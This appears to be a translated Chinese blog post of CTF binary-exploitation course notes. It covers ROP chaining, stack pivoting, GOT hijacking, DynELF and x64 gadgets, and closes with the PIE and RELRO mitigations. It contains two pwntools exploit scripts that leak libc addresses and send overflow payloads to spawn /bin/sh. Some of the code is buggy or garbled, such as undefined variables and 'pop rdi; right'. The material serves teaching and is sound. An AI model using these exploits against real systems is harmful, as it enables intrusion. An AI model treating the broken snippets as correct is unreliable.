Changting PWN Notes 02

  • One of ROP combat skills: connect multiple libc function calls
  • ROPP combat skills two: stack migration (Stack Pivot)
  • Detailed ROP case
  • ROP under x64
  • Mitigation techniques related to ROP and GOT table hijacking

Recap: stack layout

Recap: Return to Libc

Place system, exit, binsh, and 0 on the stack once, and then call system("/bin/sh") and exit(0) continuously

How to concatenate 3 or more libc function calls? If the libc function has more than 2 parameters, why not ROP Payload? E.g

read(fd,buf,size)
write(fd,buf,size)

DEMO code:

from pwn import *

elf = ELF("./ret2libc")
libc = elf.libc
io = process("./ret2libc")
pause()
io.recvuntil("This is your gift: ")
setvbuf_addr = int(io.recvline().strip(),16)
#libc.sym就是offset
libc_base = setvbuf_addr - libc.sym["setvbuf"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + libc.search("/bin/sh\x00").next()

pause()
log.info("setvbuf_addr:0x%x") % setvbuf_addr)
log.info("libc_base:0x%x") % libc_base)
log.info("system_addr:0x%x") % system_addr)
log.info("binsh_addr:0x%x") % binsh_addr)

pay = "A"*0x68 + "B"*4
pay += p32(system_addr)
pay += 'CCCC'
pay += p32(binsh_addr)

io.send(pay)

io.interactive()

Connect multiple libc function calls

To connect, for example, read(fd1,buf1,size1)and write(fd2,buf2,size2)two function calls, not in accordance with system("/bin/sh")and exit(0)disposed ROP Payload as parameters overlap

Using pop retthis kind of ROP Gadget can solve this problem, for example:

pop ebx ; pop esi ; pop edi ; ret ;

These three gadgets are denoted as pop3 ret below

Offset calculation

Stack migration

  • definition
    • Change the stack position through a gadget that modifies the esp register
  • Application scenarios
    • The overflow length is short, not enough to do ROP (Example 1)
    • The overflow payload ends with 0, and the gadget address starts with 0 (example 2)
    • After leaking the address, we need to execute a new ROP chain

Example 1:

vodi stack_overflow(char *user)
{
    
    
	char dst[512];
	if (strlen(user)>536)
		return;
	//536-512 = 24 字节的溢出,太短!
    strcpy(dst,user);
}

Example 2:

vodi stack_overflow(char *user){
    
    
    char dst[512]
    strcpy(dst,user);
}
x64 assembly
0x406113:	55			push	%rbp
0x406114:	41 89 d4	mov		%edx,%e12d

add esp

The gadget that adds esp to a fixed value is called "add esp", for example: add esp, 0x6c; ret;

pop ebp ret + leave ret

  • pop ebp;ret;+The leavel;ret;combination of two gadgets can change esp to any value
  • pop ebp;ret;You can change ebp to any value
  • leave = mov esp,ebp;pop ebpSo ebp will be stored in esp, and esp can be controlled arbitrarily

Use

  • The first ROP leaked libc address
    • Call write(1,write_got,4), leak the address of the write function, same as method 1
    • Call read(0,new_stack,ROP_len) to read the second ROP Payload to the BSS segment (new stack)
    • Use stack migration pop ebp ret+ leave ret, connect to perform the second ROP
    • Wait for the stack migration to trigger the second ROP execution and start the shell

GOT table hijacking

Ideas

  • In the above method, we need to perform two ROPs. The second ROP Payload relies on the leaked address of the first ROP. Can it be exploited with only one ROP?
  • In ROP, call read and write through Return To PLT, which can actually read and write memory at will
  • Therefore, in order to finally execute system(), we can not use ROP, but use the GOT table hijacking method: first call read through ROP to modify the GOT table entry of the wrtie function, and then call write again. In fact, the call at this time is Is the value of the GOT table entry after being hijacked, such as system()

detailed steps

  • Use a ROP to complete libc address leakage, GOT table hijacking, and command string writing
    • Call write(1,write_got,4), leaking the address of the write function
    • Call read(), modify the GOT entry of the write() function to the system address
    • Call read(0,bss,len(cmd)) to write the command string ("/bin/sh") into .bss Section
    • Call write(cmd), actually call system(cmd)
  • Read the leaked write function address and calculate the system() address
  • Enter the system() address and modify the GOT table entry of the write() function
  • Enter the command string "/bin/sh" and write it into the .bss Section
  • Call write(cmd) to run system(cmd)

What to do if the question is not given to libc

  • From looking for the libc_base we need

  • Use DynELF

DynELF

  • Principle: If you can read any memory, you can simulate _dll_runtime_resolvethe behavior of functions to resolve symbols. The advantage of this is that you don't need to know libc. The DynELF module in the pwntools library has implemented this function
  • Write a general arbitrary memory leak function
    • Allow memory leaks to be triggered multiple times by returning to the main() function
  • Pass the leaked function into DynELF to resolve the address of the system() function
  • Call system through ROP("/bin/sh")
  • DynELF is very useful when the target libc library is unknown

DEMO exhibition:

from pwn import *
context(arch='i386',os='linux',endian='little',log_level='debug')
main = 0x80481D
bss = 0x8049700
elf = ELF("")
p = process("")
print "[+] PID: %s" % proc.pidof(p)
log.info("[+] system: %s" % hex(system))
#将栈溢出封装成ROP调用,方便多次触发
def do_rop(rop):
    payload = 'A' * (0x88 + 4)
    payload += rop
    p.send(payload)
#任意内存读函数,通过ROP调用write函数将任意地址内存读出,最后回到main,实现反复触发
def peek(addr):
    payload = 'A' * (0x88 + 4)
    rop = p32(elf.plt['write']) + p32(main) + p32(1) + p32(add) + p32(4)
    payload += rop
    p.send(payload)
    data = p.recv(4)
    return data
#任意内存写函数,通过ROP调用write函数将任意地址内存写入,最后回到main,实现反复触发
def poke(addr,data):
    payload = 'A' * (0x88 + 4)
    rop = p32(elf.plt['read']) + p32(main) + p32(0) + p32(add) + p32(len(data))
    payload += rop
    p.send(payload) 
    p.send(data)
#将任意内存泄露函数peek传入DynELF
d = DynELF(peek,elf=elf)
#DynELF模块可以实现任意库中的任意符号解析,例如system
system = d.lookup("system","libc.so")
log.info("[+] system: %s" % hex(system))
#将要执行的命令写入.bss Section
poke(bss,'/bin/sh\0')
#通过ROP运行system(cmd)
do_rop(p32(system) + p32(0xDEADBEEF) + p32(bss))
p.interactive()

ROP under x64 architecture

  • amd64 (64-bit) cdecl calling convention
    • Use registers rdi, rsi, rdx, rcx, r8, r9 to pass the first 6 parameters
    • The seventh and above parameters are passed through the stack
  • The parameter is in the register, you must use gadget to set the parameter
    • pop rdi; right
    • pop rsi ; pop r15 ; ret ;
    • It is a bit more difficult to set the rdx and rcx registers with gadgets. There is no such direct gadget as pop ret.

General Gadget under x64

.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

Almost all x64 ELFs have the above two Gadgets in the _libc_csu_init function. The second Gadget can set r13, r14, r15, and then send these three values ​​to rdx, rsi, edi through a Gadget, which just covers The first three parameters under the x64 cdecl calling convention

One Gadget

Find through the OneGadget tool: https://github.com/david942j/one_gadget

Usually execute system ("/bin/sh") to pass parameters before calling system;

What's more magical is that libc contains some gadgets, and you can start the shell by jumping directly to it;

It is usually found by looking for a reference to the string "/bin/sh" (press X in IDA Pro for the address of /bin/sh)

How to defend against ROP

  • Position-independent code (PIE) can prevent attackers from direct ROP
    • The attacker does not know the code address
    • ROP and return to PLT technology cannot be used directly
  • PIE bypass method
    • Combining information disclosure vulnerabilities
    • Can be blasted under x86_32 architecture
      • Memory address randomization granularity is in page unit: 0x1000 byte aligned

How to defend against GOT table hijacking

  • Relocation Read Only mitigation measures
    • Compilation options: gcc -z, relro
    • Before entering main(), all external functions will be parsed
    • All GOT tables are set to read-only
    • Bypass method
      • Hijacking is the GOT table in the dynamic library that opens the protection (for example, the GOT table in libc)
      • Rewrite function return address or function pointer

Guess you like

Origin blog.csdn.net/kelxLZ/article/details/111830630
pwn